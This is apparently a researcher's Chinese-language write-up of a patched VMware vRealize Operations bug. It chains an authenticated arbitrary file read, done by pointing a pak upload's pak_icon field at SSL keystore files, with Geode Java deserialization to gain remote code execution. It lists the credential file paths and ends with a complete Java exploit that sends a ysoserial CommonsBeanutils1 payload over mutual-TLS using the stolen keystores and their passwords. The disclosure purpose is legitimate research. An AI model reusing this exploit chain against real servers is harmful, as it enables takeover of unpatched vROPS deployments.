VMware vROPS 文件读取到反序列化RCE

官方已经发布漏洞补丁 https://www.vmware.com/security/advisories/VMSA-2023-0009.html 公开文章

# 前言

这个漏洞是在年初挖洞的时候发现的,后台洞,需要授权,比较鸡肋。

安装过程直接导入下一步,启动后等5分钟让他初始化配置,然后访问web就行了。默认root密码为空。

# 架构

image.png

有GEODE/Gemfire服务,web是apache jk反代。web服务有tomcat的,也有fatjar的。

# 配置调试

修改/opt/vmware/etc/vmware-vcops-firewall.conf配置文件,修改加上自己的端口然后vmware-vcops-firewall restart开防火墙。

web调试的话分为不同的方式,比如casa的tomcat服务,就要改/usr/lib/vmware-casa/casa-webapp/bin/setenv.sh,而analysis服务需要改/usr/lib/vmware-vcops/user/conf/analytics/wrapper.conf

# 漏洞

这个漏洞的挖掘思路并不是由文件读取开始的,而是由geode开始的。审查了geode框架的多个历史cve和文档,发现该框架是一个缓存框架,历史cve中有多个反序列化漏洞,文档中也提到了数据序列化的多种方式,其中包括标准的java反序列化。

下载geode本地调试之后发现,默认配置就可以反序列化rce

1
2
3
.\gfsh.bat
start locator --name=locator1
start server --name=server1

locator port 10334 server port 40404

image.png

向服务中发送恶意序列化数据之后,弹出记事本。

image.png

可能是因为反序列化在该框架中的必要性,官方给的反序列化建议是让客户自己配置反序列化过滤器:serializable-object-filtervalidate-serializable-objects属性。默认为空。

那么由此一来,我岂不是直接能在vROPS上rce?在我尝试之后发现,vROPS存在ssl双向认证,官方文档在这。证书配置路径在

1
2
3
/storage/vcops/user/conf/ssl/storePass.properties
/storage/vcops/user/conf/ssl/tcserver.keystore
/storage/vcops/user/conf/ssl/tcserver.truststore

有双向认证,导致socket数据包发不过去,然后我的思路转变为寻找任意文件读取。

com.vmware.vcops.casa.upgrade.pak.controller.PakMetadataController#doGetIcon

image.png

根据pakid寻找文件返回给resp,retrievePakIcon中调用this.pakCommand.queryDetailsOfStagedPak(pakID, locales)寻找pakicon字段对应的文件路径

image.png

pakCommand由spring bean注入

image.png

queryDetailsOfStagedPak()调用vcopsPakManager.py

image.png

也就是说PakMetadataController#doGetIcon这个功能核心点是由py脚本实现的。反向查找该脚本调用,寻找pakID可控点发现

https://192.168.1.166/ui/

image.png

点击添加

image.png

pak是一个压缩包

image.png

随便拖出来一个查看结构

image.png

其中manifest.txt中pak_icon字段对应com.vmware.vcops.casa.upgrade.pak.PakManDetail#getPakIcon字段

image.png

将其修改为我们要读的ssl双向认证文件,即可实现任意文件读取。

image.png

点击下一步实现任意文件读取

image.png

或者通过对应的api来下载二进制文件

image.png

# 串起来

读取这三个ssl双向认证文件之后即可rce

1
2
3
/storage/vcops/user/conf/ssl/storePass.properties
/storage/vcops/user/conf/ssl/tcserver.keystore
/storage/vcops/user/conf/ssl/tcserver.truststore

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import ysoserial.Serializer;
import ysoserial.payloads.CommonsBeanutils1;

import javax.net.ssl.SSLSocketFactory;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.io.Serializable;
import java.net.Socket;

public class SocketTest {
    public static void main(String[] args) throws Exception {
        String host = "192.168.1.166";
//        Socket client = new Socket(host, 40404);
        System.setProperty("javax.net.debug", "ssl,handshake");
        System.setProperty("javax.net.ssl.keyStore", "./tcserver.keystore");
        System.setProperty("javax.net.ssl.keyStorePassword", "c56yJIz+f1R2TcUe5FH8HtkTBlRMIp");
        System.setProperty("javax.net.ssl.trustStore", "./tcserver.truststore");
        System.setProperty("javax.net.ssl.trustStorePassword", "tPZKZ2y4ybbFYVUCzSnJLErkppj3ww");
        SSLSocketFactory sslsocketfactory = (SSLSocketFactory) SSLSocketFactory.getDefault();
        Socket client = sslsocketfactory.createSocket(host, 10000);

        OutputStream outputStream = client.getOutputStream();
        // CommunicationMode 0x64=100=ClientToServer
        outputStream.write(0x64);

        // version 255 0 150
        outputStream.write(0xff);
        outputStream.write(0x0);
        outputStream.write(0x96);

        // valRead REPLY_OK
        outputStream.write(0x3b);

        DataOutputStream dataOutputStream = new DataOutputStream(outputStream);
        // timeout
        dataOutputStream.writeInt(10000);
        // DSCODE SERIALIZABLE
        dataOutputStream.write(0x2c);

        Serializable notepad = (Serializable) new CommonsBeanutils1().getObject("touch /tmp/fuck");
        dataOutputStream.write(Serializer.serialize(notepad));

        dataOutputStream.flush();
        dataOutputStream.close();
        outputStream.flush();
        outputStream.close();
        client.close();
    }
}

image.png

# 总结

一些细节没写到,比如pakCommand到底是怎么处理pak文件的等细节,不过无伤大雅,因为我在审计时就是黑白盒一起测,搞清楚业务点之后串起来。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。